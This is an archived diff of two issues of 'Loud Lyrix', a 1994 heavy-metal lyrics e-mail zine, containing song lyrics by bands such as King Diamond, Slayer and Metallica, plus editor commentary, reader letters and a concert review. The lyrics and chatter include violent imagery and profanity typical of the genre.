Thanks.. results will be posted in issue #20 !!! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************** T E A ********************************** + by K I N G D I A M O N D + Album: "Them" + + +On the following friday as I turned out +the light + Grandma' came and knocked at My +door +"Wake up King, wake up My dear +I am gonna show You about the house +of Amon" + +It is time for tea, it is time again + +"Even Your mother is present +We made her sleep in My rocking +chair" +At first I felt really scared but there +was no reason to +As I saw the knife sneaking out from +Grandmother's dress +Then it cut a tiny wound in My +mother's little hand + +It is time for tea, it is time again + +Blood was running into the tea pot, +then I heard "THEM" laugh +"A bit of this in a cup of tea, is what it +takes to set "THEM" free +You will hear "THEM" telling stories +from far beyond this earth" +What I saw and what I heard made me +want to stay and learn + +I really hope this dream will never +end, it's hard to describe the kind of +feeling that went on in My mind +A paradise + +Hearing "THEIR" stories and feeling +"THEIR" warmth +We laughed with tears in our eyes +>From the first cup of tea, to the last +drop of blood +Nothing seemed to matter at all +anymore +My Mother? She didn't exist to me, +Oh I felt so heavenly + +It is time for tea, it is time again + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** 2 , 0 0 0 M A N ***************************** + by K I S S + Album: "Dynasty" + Original Song by: The Rolling Stones + + +Well, my name it is a number +It's on a piece of plastic film +And I've been growin' funny flowers +Outside on my little window sill + +And don't you know I'm a 2,000 man +And my kids, they just don't understand me at all + +You know, my wife still respects me +Even though I really misuse her +I am having an affair +With the Random computer + +But don't you know I'm a 2,000 man +And my kids, they just don't understand me at all + +Oh daddy, proud of your planet +Oh mommy, proud of your sun +Oh daddy, proud of your planet +Oh mommy. proud of your sun +Oh daddy, your brain's still flashin' +Like they did when you were young +Or did they come down crashin' +Seeing all the things you'd done +Spacin' out and havin' fun + +Oh daddy, proud of your planet +Oh mommy. proud of your sun +Oh daddy, proud of your planet +Oh mommy. proud of your sun + +Oh daddy, your brain's still flashin' +Like they did when you were young +Or did they come down crashin' +Seeing all the things you'd done +Spacin' out and havin' fun + +But, don't you know I'm a 2,000 man +And my kids, they just don't understand me at all +But don't you know I'm a 2,000 man +And my kids, they just don't understand me at all +Understand me, u-understand me, u-understand me, now understand me +But don't you know I'm a 2,000 man +And my kids, they just don't understand me at all +But don't you know I'm a 2,000 man +And my kids, they just don't understand me at all +I'm a 2,000 man, I'm a 2,000 man +I'm a 2,000 man, I'm a 2,000 man, yeah, 2,000 + +****************************** T H E E N D ******************************* +Typed by: KISSARMY Members + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** A M O N G T H E L I V I N G ********************** + by A N T H R A X + Album: "Among The Living" + + +Disease! Disease! Spreading the disease. +With some help from Captain Trips, he'll bring the world down to his knees. +Power, yes Power! He'll show them all his power. +It pulses through his ice cold blood, a whole world to devour! + +*Bridge* + He's seeing, he's calling, his legacy he's spawning. + He's coming, corrupting, among the living! + +Murder! Murder! Commit cold blooded murder! +Like Nazis during World War Two, they only follow orders. +Hatred! Hatred! A crucifix is your bed, +Once he turns his eye on you, you'll be better off dead! + +*Chorus*: + I'm the walkin' dude, I can see all the world! + Twist your minds with fear, I'm the man with the power. + Among the living, follow me or die! + +Man, fights Man! Divided they can't stand! +United, they can battle back, and make him force his hand! +Fear, yes fear! His end is growing near, +He didn't count on Man's good faith, and their will to persevere. + +*Bridge* +*Chorus* + +FIRE! HOT FIRE!! Purge the world with fire!! +Damnation is the price he'll pay, for an evil man's desire! +Good, versus Evil! The stand to vanquish evil! +Man can only live one way, that place right in the middle. + +*Chorus* + + Among Among Among Among Among Among Among Among Among Among Among Among! + +**************************** T H E E N D ******************************** +Typed by: Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** T V C R I M E S ***************************** + by B L A C K S A B B A T H + Album: "Dehumanizer" + + +One day in the life of the lonely +Another day on the round about +What do they need +Somebody to love + +One night in the life of the lonely +There's a miracle on the screen +What did they see +Somebody to love + +He guarantees you instant glory +Get your money on the line + +Gotta send me a plastic Jesus +There's a check in the mail today +That's what I need +Somebody to love + +We just won't eat on Sunday +Gotta buy him a limousine +Somewhere to live +Somewhere to pray + +Every penny from the people +Keeps the wolf outside the door +Shop around and find forgiveness for yourself +But he'll give you more, yeah + +Chorus: +Holy father, holy ghost +Who's the one who pays the most +Rock the cradle don't you cry +Buy another lullaby + +Jack is nimble, Jack is quick +Pick your pocket, turn a trick +Slow and steady, he's got time +To commit another TV crime +TV crime + +One day in the life of the lonely +Back again on the round about +What do they need +Somebody to love + +Yeah + +One night in the life of the lonely +Another miracle on the screen +What did they see +Somebody to love again + +A supermarket of salvation +Take a look inside the store +Shop around and find forgiveness for yourself +But he gives more + +Holy father - holy ghost +Who's the one who hurts you most +Rock the cradle when you cry +Scream another lullaby + +Jack be nimble, Jack be slick +Take the money, get out quick +Slow and steady, so much time +To commit another +TV Crime, TV Crime + +**************************** T H E E N D ******************************** +Typed by Martin Sabo + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************** B I O T E C H I S G O D Z I L L A ******************* + by S E P U L T U R A + Album: "Chaos A.D." + + +Rio summit, '92 +Street people kidnapped +Hid from view +"To save the Earth" +Our rules met +Some had other +Secret plans + +No... no... no... no... + +Biotech +Biotech +Biotech +Biotech +Say what? + +Strip-mine the amazon +Of cells of life itself +Gold rush for genes is on +Natives get nothing + +Biotech +Biotech +Biotech +Biotech +Is Godzilla + +Mutations cooked in labs +Money-mad experiments +New food + medicine? +New germ + accidents! +Like Cubatao +"World's most polluted town" +Air melts your face +Deformed children all around + +Bio-technology +Ain't what's so bad +Like all technology +It's in the wrong hands + +Cut-throat corporations +Don't give a damn +When lots of people die +>From what they've made + +Biotech +Biotech +Biotech +Is A.I.D.S. ? + +Stop!!! + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* M R . C R O W L E Y *************************** + by O Z Z Y O S B O U R N E + Album: "Blizzard of Ozz" + + +Mr. Crowley, what went on in your head +Mr. Crowley, did you talk with the dead +Your life style to me seemed so tragic +With the thrill of it all +You fooled all the people with magic +You waited on Satan's call +Mr. Charming, did you think you were pure +Mr. Alarming, in nocturnal rapport +Uncovering things that were sacred manifest on this Earth +Conceived in the eye of a secret +And they scattered the afterbirth +(solo) +Mr. Crowley, won't you ride my white horse +Mr. Crowley, it's symbolic of course +Approaching a time that is classic +I hear maidens call +Approaching a time that is drastic +Standing with their backs to the wall +Was it polemically sent +l wanna know what you meant +I wanna know +I wanna know what you meant + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Hail! Just submitting this nice piece of lyrics, from Macabre's self-titled +album... Lots of fun, I like showing lyrics like this to stupid-asses who +think Cannibal Corpse or Deicide lyrics are amusing... Well, I have +complete lyrics to the whole album, and they are all as funny as this +song... P.S. Perhaps you don't care, but I was quite pissed with last #13 +of Loud Lyrix... It was over 50kb, and sent in a single message... Holy +shit, my 2400 modem fucked up with NO CARRIER 6 times before I got it! +Can't you send lyrix, comments and concert info/ravings/etc in separate +messages? -- Gregory + +[Sorry about that dude, but I can't send this mag in sections, sorry, +however, if you see a huge Loud Lyrix in your mailbox, simply delete it, +and ask me to send it to you in pieces, I'll be glad to PERSONALLY mail it +to you in however many pieces you want... ok? Besides dude... you shoulda +been 'round for issue #10!! Whoa, that was big! -- Editor] + +********** F R I T Z H A A R M A N N T H E B U T C H E R ************ + by M A C A B R E + Album: "Macabre" + + +In a far away town, many years ago +There lived a man who caused much woe +He'd murder young men and slice up the meat +And sell it to hungry town people to eat + +Chorus + Fritz Haarmann - He chopped up young men + The Butcher - Made steaks out of them + Fritz Haarmann - He sold them as meat + The Butcher - For the people to eat + +Young men were missing, nowhere in sight +But they ate their steak with hungry delight +They'd go to Fritz Haarmann to get more meat +But they didn't know young men they'd eat + +Chorus + Fritz Haarmann - made young men into meat + The Butcher - sold them on the street + Fritz Haarmann - he'd sell them as steaks + The Butcher - for the profit he'd make + +**************************** T H E E N D ******************************** +Typed by: Gregory + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Babes In Toyland. Of the coolest bands of our times. So violent, so real, +so poetic... AND they're coming to Israel, and I get to see them live this +Thursday. Fucking RAD!!! -- Shimon + +[And so fucking BEAUTIFUL!! These girls' looks destroys L7 and even the +Cycle Sluts from Hell!! Mmmm :) -- Editor] + +******************* H A N D S O M E & G R E T E L ********************* + by B A B E S I N T O Y L A N D + Album: "Fontanelle" + + +Gretel said I know what's in your head... +I vacuumed out my head... +I know you're feeling bad.... +You fucking bitch you cunthole bitch!!!! +I thought she meant it yeah... +She really jacked my head... +She went and done it... + +Handsome Gretel!!!! + +My name is Gretel yeah... +I've got a crotch that talks... +It talks to all the cocks... +It's been 12 city blocks you fuckin bitch!!! + +Gretel said "Oh yeah, you feel so bad... +I know you feel so bad..." +I thought she meant it!!! + +I vacuumed out my head... +Jumping from bed to bed... +My name is Gretel!!! +A soul of metal.... +My name is Gretel, +I've got a sloppy slut!!!! + +Say violets hang around with toilets, and look smack at us, and symbolize +everything that is disgust and mistrust... +Licorice eyes pin me down thighs... + +Asphixid... +My thighs are vices... +He is a stupid man.... +I love him all I can you fucking bitch!!! +Addle girl... +She pulls out all her curls... +She is a stupid crotch... +That spans 12 city blocks..... + +**************************** T H E E N D ******************************** +Typed by: Shimon Godes + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Here's a little contribution to the 'zine, two of my favourite heavy-metal +songs. And about the violence of the brasilian cops, it's really hard to +beat, specially here, on the Rio Grande do Sul (Brasil's extreme south), +where the police force which is responsible for the "security" of the +streets is called, literally, "Military Brigade" (Brigada Militar) and, +because of its military status, is submitted only to the rule of the +State's Governor, not for the civillian society. The 'Brigada Militar' is +guilty of lots of homicides of no farms' agricultural people and political +dissidents of the old military regime in Brasil (1964-85), hiding their +bodies and declaring them "missing" people. -- Iuri + +[Thanks for the info on Brazil and for the songs Iuri, they are also two +of my fave's as well, fight the power dudes, teach the cops who's in +charge!...... THE HEADBANGERS OF THE WORLD!!! -- Editor] + +************************ L I V E U N D E A D ************************** + by S L A Y E R + Album: "South of Heaven" + + +Cascaded darkness +Walls close in on me. +Nailed shut but my eyes still see. +Severe anguish as my body evolves. +The pain of life after death it resolves. + +Emptiness in twilight's rebirth, +The faint sounds of shoveled earth. +Madness growing as your mind dissolves. +Merely secret in my dreams. + +Night grows cold, twilight's near, +On the edge of madness the wounds are sheared. +Forms of hanging, flesh shredded carcass +No spared breath. +Imprisoned in a shell, ready to explode, +Dead soul, +Stone cold, +Out into the night. + +Voices inside my head +Hold me under. +Voices oppress. +Like roaring thunder. +An echo bouncing inside my brain. +How much can I take of the pain, +The pain! + +A war raging deep inside my head, +A split decision that will end with me dead. + +You see the agony in my eyes, +Protruding aimless, +I think it's time to die. + +A cannibals desire feeds the fire +that burns in your head. + +Intense pain eats away at your brain, +Thorazine pumping through your veins. + +Death walks inside of you, +Smell death around you, +Hell's evil spell takes a soul, +Hear the sound of the bell +Counting off death tolls. + +Laughing as you eternally rot, +Searching for human flesh +And life's blood. + +Live Undead. + +**************************** T H E E N D ******************************** +Typed by: Iuri Wickert + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************* D I S P O S A B L E H E R O E S ********************* + by M E T A L L I C A + Album: "Master of Puppets" + + +Bodies fill the fields I see, hungry heroes end +No one to play soldier now, no one to pretend +running blind through killing fields, bred to kill them all +Victim of what said should be +a servant `til I fall + +[Chorus:] + Soldier boy, made of clay + now an empty shell + twenty one, only son + but he served us well + Bred to kill, not to care + just do as we say + finished here, Greeting Death + he's yours to take away + + Back to the front + you will do what I say, when I say + Back to the front + you will die when I say, you must die + Back to the front + you coward + you servant + you blindman +[End Chorus] + +Barking of machinegun fire, does nothing to me now +sounding of the clock that ticks, get used to it somehow +More a man, more stripes you bare, glory seeker trends +bodies fill the fields I see +the slaughter never ends + +[Chorus] + +Why, Am I dying? +Kill, have no fear +Lie, live off lying +Hell, Hell is here + +I was born for dying + +Life planned out before my birth, nothing could I say +had no chance to see myself, moulded day by day +Looking back I realize, nothing have I done +left to die with only friend +Alone I clench my gun + +[Chorus] + +Back to the front. + +***************************** T H E E N D ******************************* +Typed By: Iuri Wickert + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Wow!! I can't believe it!! This post was actually already formatted in +the patented Loud Lyrix style of: Title/Band/Album, with the stars and +centred and everything!! Exactly the way I do it... amazing... thanx Markus +for saving me 30 seconds of valuable time! -- Editor] + +*************************** B L A C K M O O N **************************** + by B L A C K S A B B A T H + Album: "Headless Cross" + + +Oh the devil is rising with the moon he cries and my blood runs cold. +Oh no never was the darkness so black,no light and nowhere to go. + +My spirit is crying for a love so tired of being alone. +I remember he came here to steal and your are his stealer of souls. + +I see a Black Moon rising,and it4s calling out my name +Oh it's calling my name. + +I've been blinded,lost and confused,darkness will call me no more. +Heaven is no friend of mine,no god ever knocked on my door. + +I see a Black Moon rising,and it's calling out my name +It4s calling out my name,it's calling. + +I see a Black Moon rising,and it's calling out my name +Oh it's calling my name. + +I'm standing on the dark side of time reaching for the power of her hand. +She's weaving an unholy light and calls from Lucifers land. + +I see a Black Moon rising,and it's calling out my name +An Angel of hell is rising,heaven's no friend of mine. + +I see a Black Moon rising,and it's calling out my name +I see a Black Moon rising,and it causes so much pain. + +An Angel of hell is rising,heaven's no friend of mine. +I see a Black Moon rising,and it's calling out my name. + +It's calling my name,this spirits crying for love. +Heaven's no friend of mine. + +***************************** T H E E N D ******************************* +Typed By: Markus Bautsch + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Got my first issue of Loud Lyrix yesterday. You said you need some lyrics +-- well, here's my first installment of two today! Methinks that the band's +ex-manager dumping them had something to do with this song %-) -- Don + +**************************** F O O L Y O U ****************************** + by K I N G ' S X + Album: Dogman + + +As I wandered, walked along on a lazy path +I shook a hand, he seemed to know so much more +So I listened, tried my best just to understand +Then I followed to where I knew nothing of + +Over the hill, come see the thrill awaiting you +There's so much more, go through the door + +Walk in the big parade, learn just what to say +They will all try to fool you +Don't believe anything, I'm your everything +They will all try to fool you +And don't ever think you'll see another friend +See another friend + +As time went on, we were friends of a different kind +But something there always tearing apart +Standing tall on a surface of glass and rain +We travelled on with a hope and a prayer + +Over the hill, come see the thrill awaiting you +There's so much more, go through the door + +Walk in the big parade, learn just what to say +They will all try to fool you +Don't believe anything, I'm your everything +They will all try to fool you +And don't ever think you'll see find a better friend + +Walk in the big parade, learn just what to say +They will all try to fool you +Don't believe anything, I'm your everything +They will all try to fool you +Walk in the big parade, learn just what to say +They will all try to fool you +Don't believe anything, I'm your everything +They will all try to fool you +And don't ever think that I can do you wrong + +***************************** T H E E N D ******************************* +Typed By: Don Thomason + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** D O C T O R R O C K T O R ************************ + by W . A . S . P . + Album: The Crimson Idol + + +He's the king of sting, Mr. Morphine my friend +Uncle Slam, medicine man +And I'm a junkie with a big King Kong sized monkey +Crawling up and down my back + +Oh, I'll help ya son to rearrange your mind +Oh, I'll help ya son but ya gotta buy this time +I'm your doctor + +Help me please, oh doctor, help me please +Doctor Rocktor, you know I need you +Doctor please, my M.D., fix me in my time of need +But can you see the fire that's in my eyes + +It's the mirror from the wall that's on the table +Feeding me little white lies +And I'm wasted in a waste land, I'm a junk man +I got tombstones in my eyes + +Oh, I'll help ya son to rearrange your mind +Oh, I'll help ya son but ya gotta buy this time +I'm your doctor + +Help me please, oh doctor, help me please +Doctor Rocktor, you know I need you +Doctor please, my M.D., fix me in my time of need +But can you see the fire that's in my eyes + +Ah, help me Uncle Slam, the beast claims another man +Cocaine, codine, 714, a tuinol blindfold just what I need +Help me, help me, help me + +Help me please, oh doctor, help me please +Doctor Rocktor, you know I need you +Doctor please, my M.D., fix me in my time of need +But can you see the fire that's in my eyes + +***************************** T H E E N D ******************************* +Typed By: Don Thomason + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Wow! This issue has gotten to be longer than I expected.. holy shit,... +1107 lines, that's a lot... anyways.... DON'T FORGET ABOUT THE SURVEY.. +it's REALLY important to me guys, just do it, the sooner, the better.. ok? +You DO wanna keep your editor happy don't you?! After all, I'M THE ONE IN +CONTROL HERE (major power-trip eh?) anyways... dudes... have fun, and party +right on!! + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #15 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-16 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-16 new file mode 100644 index 00000000..a3d4008b --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-16 @@ -0,0 +1,700 @@ + _ _____ _ _ ___ _ _ _ ___ _ _ _ + ( ) ( _ )( ) ( )( _`\ ( ) ( ) ( )| _`\ (_)( ) ( ) + | | | ( ) || | | || | ) | | | `\`\_/'/'| (_) )| |`\`\/'/' + | | _ | | | || | | || | | ) | | _`\ /' | , / | | > < + | |_( )| (_) || (_) || |_) | | |_( )| | | |\ \ | | /'/\`\ + (____/'(_____)(_____)(____/' (____/'(_) (_) (_)(_)(_) (_) + + + Loud Lyrix, July 19, 1994, Issue # 16 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #16, 7/19/94 +------------------------ + +Hey all you 'bangers out there in 'bangerland.. what's up!! hehehehe... +what a cheesy greeting... but anyways... I'm back with issue #16, a normal, +no frills attached, RAW edition of Loud Lyrix, just a little blabber from +me, and then into the lyrics... anyways... you lazy asses are pretty damn +lazy you know that?! Fuck guys, c'mon! I had ZERO, count 'em... **0** +submissions this week, you think that just 'cause of the survey that's +exempting you from submitting?? Well no siree Bob! Snap to it, or pay the +price, you will feel the wrath of your almighty Editor! :) Ok, anyways, +that means that all of this week's songs are "Editorz Choice" so, if you +have any complaints.... TOO BAD... send in some shit, or request it, or +else get used to my tastes.... + +BTW.. I actually got something from someone.... WOW! I am amazed.. it's +from Shimon Godes, a review of a Babes In Toyland concert he was at... +hope you guys like it, I know I wish I was there!!! ;) + +Ok people.. just a little word about the listserv.... we've been having a +couple of problems with it, and because of that, you guys got a spaced out +issue #14, and fortunately, an OK issue #15.... hopefully, by the time you +get this issue, I will have already remailed issue #14 to you all... sorry +about that... anyways... I'm also in the process of setting up an 'INDEX' +diskspace for Loud Lyrix on planet.org's listserv.... I'm gonna be storing +all the back issues, the AD, the FAQ, and the PGP keys here... I will also +be mailing you all instructions on how to retrieve these files if you want +'em... So hopefully that'll be a little better for all of you... another +thing is late issues... sometimes, the mailer at the site that I access the +Internet from goes down, and that means that when I mail the listserv to +send out the latest issue, that mailing doesn't get there until the system +is back up, so it can't mail the issue out to all of you... unfortunately +this can happen sometimes, so if your Loud Lyrix is late in arriving, don't +fret, don't mail me and cry about your Loud Lyrix... ok? Just sit tight, +and the issue will get to you soon.. sorry about that... + +Well, this week I bought Slayer's "Haunting the Chapel" on CD, I found this +rare item for $12.99 and I just HAD to snatch it up... the lowest that I've +EVER seen a Slayer CD was $19.99, so I couldn't pass up the opportunity, +anyways... this CD fucking GRINDS!! It's a three song EP, (with an +additional track, "Aggressive Perfector"), it's got Chemical Warfare, +Captor of Sin, and Haunting the Chapel..... fucking amazing stuff, I can't +peel myself away from it... anyways, I just have a question for any of you +Slayer fans out there, I've got the Show No Mercy cassette, and it ALSO +includes "Aggressive Perfector", but it doesn't sound the same at all! Does +anyone know if it's a remix or if it's on the Show No Mercy cassette at +all?! It's listed in the liner's, but I dunno! Anyways, I've included +"Haunting the Chapel" in this issue, plus "Tormentor" an amazing tune from +Show No Mercy.... enjoy, and yes, I AM a Slayer freak... fucking August +people.. August is the month for their new album to come out!!! No exact +date set yet! + +Ok people, just one final word concerning the survey... I've notice a few +minor errors with it.... one thing was that for the "Which rock video shows +do you watch?" I forgot to include a none of the above option. And another +thing was the question of whether you tape albums onto blank cassettes, +lemme just tell you dudes to CHILL OUT man... fuck guyz, I ain't no NARC +or some asshole sleazy record company exec, it was just that the M.E.A.T. +survey had that question, and I thought I'd include it.. big deal! Don't +worry if you say yes, I really don't care, it's just a question. + +Ok dudes, that's it... don't forget to get those survey's in, as of now, I +have had 7 handed in, that's outta like 300 of you!! Hurry up! Issue #20 +is right around the corner,.... ok guys, that's it... BTW! Guess what I +just noticed... it was exactly four months ago on this day that I started +Loud Lyrix... On March 19/94 I wrote the Loud Lyrix FAQ and the Loud Lyrix +AD, and that's when this huge thing started... fucking amazing.. guys, +thanks to you all dudes.... let's keep this thing goin' forever!! + +CONTENTS +-------- +Concert Review: Babes In Toyland +Song 1: "Mother's Getting Weaker" ("Them", Chapter 5) by King Diamond +Song 2: "Tormentor" by Slayer +Song 3: "Aces High" by Iron Maiden +Song 4: "Dead Embryonic Cells" by Sepultura +Song 5: "This Love" by Pantera +Song 6: "Haunting the Chapel" by Slayer +Song 7: "Ride The Lightening" by Metallica +Song 8: "Black Sabbath" by Black Sabbath +Song 9: "Rime of the Ancient Mariner" by Iron Maiden + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**** C O N C E R T R E V I E W : B A B E S I N T O Y L A N D ****** + by S H I M O N G O D E S + + +You don't say dude!!! The concert was awesome. Their LOOKS!!!! The drummer +has wild Bob Marley type of hair (blonde...) and the coolest tatoo of a +snake crawling down her right ankle, (they all played barefoot btw...). The +drummer played like she just came out of the jungle and somebody gave her a +drumkit and told her: "this is drums, now PLAY!!!" Tribal stuff, totally +wild and wicked... + +The bassist is amazingly, incredibly sexy!!! She stood less than a meter +from me (I was right next to the stage...). Her name is Maurine Herman, I +got to talk to her a bit after the show (no, not enough to use my charms +and....). She's a cool bass player as well, and what's most exciting - she +does that Frank Zappa trick - lights up a cigarette, smokes it during a +song and then sticks it in the space between the strings and the upper +bridge (where the tuning keys are), so it looks like a candle... + +As for the show itself, they played most of the stuff from Fontanelle and +the other album. The talked to the crowd a lot and were very nice. There +was a lot of moshing and stagediving. Then when they played "Handsome And +Gretel" (my favourite song, as you can guess from my posting...) I was +headbanging so violently that I banged my head against the lamp post and +passed out for a few moments... All in all the show was WILD!!!! Just what +I expected... Uncool stuff: Some fucker stole the singer's purse (while +they were playing), where she had her passport and $$$. Very very +uncool!!!!! Also, the fucking bouncers were beating the shit out of the +stagedivers, so bad that at one point the singer had to stop the song and +"save" a fan from being beaten to death... + +***************************** T H E E N D ******************************* +Typed by: Shimon Godes + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************* M O T H E R ' S G E T T I N G W E A K E R *************** + by K I N G D I A M O N D + Album: "Them" + + +Tonight would be the last night that +we had our tea +That bloody tea, which sent us into +ecstasy +Yesterday Mother complained, feeling +dizzy, all in pain + +Mother's getting weaker, looking +paler day by day + +As morning came, she could not make +it out of bed +And Grandma's spell was getting +straight into her head +Not a single word, she didn't seem to +be alive + +Getting weaker, looking paler day by +day + +Then Missy came in and she led me by +the hand +I didn't want to go, Oh but I should +have known +Mother was barely conscious, why +should I care +Just looking forward to the next +ordeal + +I think I heard My sister begging me +to stay +She gave me the phone, so I could call +someone for help +I simply let go of her hand, then I cut +the wire + +Missy was crying as I left them both +behind +And Mother's getting weaker, Missy +shouted at My back +"I hate You" + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** T O R M E N T O R ***************************** + by S L A Y E R + Album: "Show No Mercy" + + +Afraid to walk the streets +In the coldness all alone +The blackness of the night +Engulfs your flesh and bones +Hoping for relief +>From the fear you feel inside +Losing all perspective +Of reality in the night + +(Chorus:) +Running from shadows +Blinded by fear +The horror of nightfall +Is ever so near +I slowly surround you +As terror sets in +Are you afraid of the night + +I see the fright in your eyes +As you turn and run +But is your mind playing tricks +On a body so very young +Feeling as if no one cares +The fear runs down your spine +But I know I'll never rest +Until I know you're mine + +(Chorus) + +Afraid to walk the streets +In the coldness all alone +The blackness of the night +Engulfs your flesh and bones +Feeling as if no one cares +The fear runs down your spine +But I know I'll never rest +Until I know you're mine +I know you're mine +Too late to hide +Too late to save your life +Tormentor + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** A C E S H I G H ***************************** + by I R O N M A I D E N + Album: "Powerslave" + + +There goes the siren that warns of the air raid +Then comes the sound of the guns sending flak +Out for the scramble we've got to get airborne +Got to get up for the coming attack. + +Jump in the cockpit and start up the engines +Remove all the wheelblocks there's no time to waste +Gathering speed as we head down the runway +Gotta get airborne before it's too late. + +Running, scrambling, flying +Rolling, turning, diving, going in again +Run, live to fly, fly to live, do or die +Run, live to fly, fly to live. Aces high. + +Move in to fire at the mainstream of bombers +Let off a sharp burst and then turn away +Roll over, spin round and come in behind them +Move to their blindsides and firing again. + +Bandits at 8 O'clock move in behind us +Ten ME-109's out of the sun +Ascending and turning our spitfires to face them +Heading straight for them I press down my guns + +Rolling, turning, diving +Rolling, turning, diving, going in again +Run, live to fly, fly to live, do or die +Run, live to fly, fly to live, Aces high. + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************** D E A D E M B R Y O N I C C E L L S ****************** + by S E P U L T U R A + Album: "Arise" + + +Land of anger +I didn't ask to be born +Sadness, sorrow +Everything so alone + +Laboratory sickness +Infects humanity +No hope for cure +Die by technology + +A world full of shit coming down +Tribal violence everywhere +Life in the age of terrorism +We spit in your other face + +War of races +World without intelligence +A place consumed by time +End of it all + +We're born With pain +No more We're dead +Embryonic cells + 